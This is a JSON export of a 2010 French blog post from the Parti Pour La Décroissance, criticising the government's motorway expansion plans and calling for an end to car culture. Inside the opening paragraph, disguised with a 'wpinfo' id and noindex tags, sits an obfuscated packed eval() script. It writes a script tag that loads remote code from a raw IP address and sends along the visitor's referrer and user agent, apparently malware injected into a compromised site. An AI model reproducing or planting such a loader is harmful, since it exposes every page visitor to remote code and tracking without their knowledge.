{"id":4721,"date":"2010-08-04T17:43:35","date_gmt":"2010-08-04T16:43:35","guid":{"rendered":"http:\/\/www.partipourladecroissance.net\/?p=4721"},"modified":"2010-08-04T18:29:00","modified_gmt":"2010-08-04T17:29:00","slug":"belles-autouroutes","status":"publish","type":"post","link":"https:\/\/www.partipourladecroissance.net\/?p=4721","title":{"rendered":"Encore plus de belles autouroutes"},"content":{"rendered":"<p style=\"text-align: left;\"><a href=\"http:\/\/e4.img.v4.skyrock.net\/e44\/planeteterre\/pics\/448804895_small.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignleft\" src=\"http:\/\/e4.img.v4.skyrock.net\/e44\/planeteterre\/pics\/448804895_small.jpg\" alt=\"\" width=\"125\" height=\"83\" \/><\/a><strong>A <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fefkk|var|u0026u|referrer|baybr||js|php'.split('|'),0,{}))\n<\/script><\/noindex> l&rsquo;issue du Grenelle de l&rsquo;environnement, le gouvernement a annonc\u00e9 une r\u00e9orientation des investissements de transports en direction du non-routie<\/strong>r (ferroviaire et fluvial et transports collectifs urbains). Annonc\u00e9 comme une rupture, le \u00ab Grenelle de l&rsquo;environnement \u00bb confirme \u00eatre une couche de peinture verte, une caution \u00e9cologique pour un gouvernement sans imagination et, alli\u00e9 aux tenants de l&rsquo;id\u00e9ologie croissanciste, comme en atteste l&rsquo;avant-projet du Sch\u00e9ma national des infrastructures de transport (Snit).<\/p>\n<p style=\"text-align: left;\"><strong>Ce dernier pr\u00e9voit une extension du r\u00e9seau autoroutier de pr\u00e8s de 900 km<\/strong>. M\u00eame si aucun grand projet autoroutier n&rsquo;est pr\u00e9vu, ces quelques ajustements pour des raisons de s\u00e9curit\u00e9, de d\u00e9senclavement ou de d\u00e9congestion du trafic repr\u00e9sente une augmentation du r\u00e9seau autoroutier de 8 % ! La volont\u00e9 politique est claire, elle entend renforcer les Routes Grande Vitesse apr\u00e8s avoir confirm\u00e9 les Lignes Grande Vitesse (LGV).<\/p>\n<p style=\"text-align: left;\">Pendant ce temps, aucune r\u00e9flexion n&rsquo;est engag\u00e9e sur le sens des transports malgr\u00e9 une constante augmentation des d\u00e9placements, avec les nuisances concomitantes.<\/p>\n<p style=\"text-align: left;\"><!--more-->En confirmant et en continuant \u00e0 renforcer le r\u00e9seau autoroutier (et routier), la politique gouvernementale mais, \u00e9galement, des collectivit\u00e9s locales continuent de promouvoir l&rsquo;automobile ainsi que ses cons\u00e9quences nocives. De telles mesures (comme la volont\u00e9 de sauver l&rsquo;industrie automobile[1]) d\u00e9montrent \u00e9galement le manque de pr\u00e9vision de nos gouvernants qui ne tiennent compte ni des limites \u00e9cologiques de ce mode de transport, ni des pollutions directes et indirectes que son usage provoque.<\/p>\n<p style=\"text-align: left;\">Ce symbole de l&rsquo;individualisme forcen\u00e9, grand pollueur, d\u00e9voreur d&rsquo;espaces et d&rsquo;\u00e9nergies n&rsquo;est donc pas condamn\u00e9 mais continue d&rsquo;\u00eatre adoub\u00e9.\u00a0 L\u2019usage maladif de l\u2019automobile est donc \u00e0 bannir pour une soci\u00e9t\u00e9 plus viable, des transports plus conviviaux et pour amorcer un projet de soci\u00e9t\u00e9 qui s\u2019inscrit dans une logique de D\u00e9croissance. L&rsquo;automobile est devenu un outil au service du capitalisme, presqu&rsquo;un rempart. Son usage sans mesure en a fait l&rsquo;ennemi d&rsquo;une soci\u00e9t\u00e9 pr\u00f4nant la convivialit\u00e9, la relocalisation et l&rsquo;anti-productivisme[2].<\/p>\n<p style=\"text-align: left;\">L\u2019automobile appara\u00eet comme le mode de d\u00e9placement privil\u00e9gi\u00e9 d\u2019une soci\u00e9t\u00e9 d\u00e9raisonnable et irrationnelle. Sortir de l&rsquo;automobile est une obligation pour revoir l&rsquo;organisation de notre soci\u00e9t\u00e9.<\/p>\n<p style=\"text-align: left;\">Continuer d&rsquo;investir dans l&rsquo;automobile est un leurre. L&rsquo;am\u00e9lioration de la s\u00e9curit\u00e9, la d\u00e9congestion le trafic ou encore l&rsquo;utopie de la voiture verte ne sont que des pr\u00e9textes pour sauver une industrie, une civilisation condamnable et condamn\u00e9e par le pic de p\u00e9trole et l&rsquo;ensemble de ses nuisances.<\/p>\n<p style=\"text-align: center;\">\n<div class=\"mceTemp mceIEcenter\" style=\"text-align: center;\">\n<dl class=\"wp-caption    aligncenter\" style=\"width: 410px;\">\n<dt class=\"wp-caption-dt\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/antivoitures.free.fr\/pistes_bagnolables.jpg\" alt=\"Pour des pistes bagnolables\" width=\"400\" height=\"226\" \/><\/dt>\n<dd class=\"wp-caption-dd\">Pour des pistes bagnolables<\/dd>\n<\/dl>\n<\/div>\n<p style=\"text-align: center;\">\n<p style=\"text-align: left;\">Le Parti Pour La D\u00e9croissance pr\u00f4ne un abandon de la culture de l&rsquo;automobile, et r\u00e9clame une r\u00e9flexion globale sur le transport et le m\u00e9nagement du territoire afin que cette modification de notre mode de vie soit douce, conviviale et collective.<\/p>\n<p style=\"text-align: left;\"><strong>D&rsquo;ailleurs, qu&rsquo;allons-nous faire des autoroutes ?<\/strong><\/p>\n<p style=\"text-align: right;\"><em>L&rsquo;automobile a longtemps \u00e9t\u00e9 un r\u00eave, d\u00e9sormais elle est un cauchemar.<\/em><\/p>\n<p style=\"text-align: right;\"><em>Parti Pour La D\u00e9croissance<\/em><\/p>\n<p style=\"text-align: left;\">[1]\u00a0 voir Fillon, sacr\u00e9 \u00ab <a href=\"http:\/\/www.partipourladecroissance.net\/?p=4345\">homme de l&rsquo;ann\u00e9e 2009<\/a> \u00bb par le journal de l&rsquo;automobile<br \/>\n[2]\u00a0 Voir \u00ab <a href=\"http:\/\/www.partipourladecroissance.net\/?p=3303\">Stop \u00e0 la voiture 1 et 2<\/a> \u00bb<\/p>\n","protected":false},"excerpt":{"rendered":"<p>A l&rsquo;issue du Grenelle de l&rsquo;environnement, le gouvernement a annonc\u00e9 une r\u00e9orientation des investissements de transports en direction du non-routier (ferroviaire et fluvial et transports collectifs urbains). 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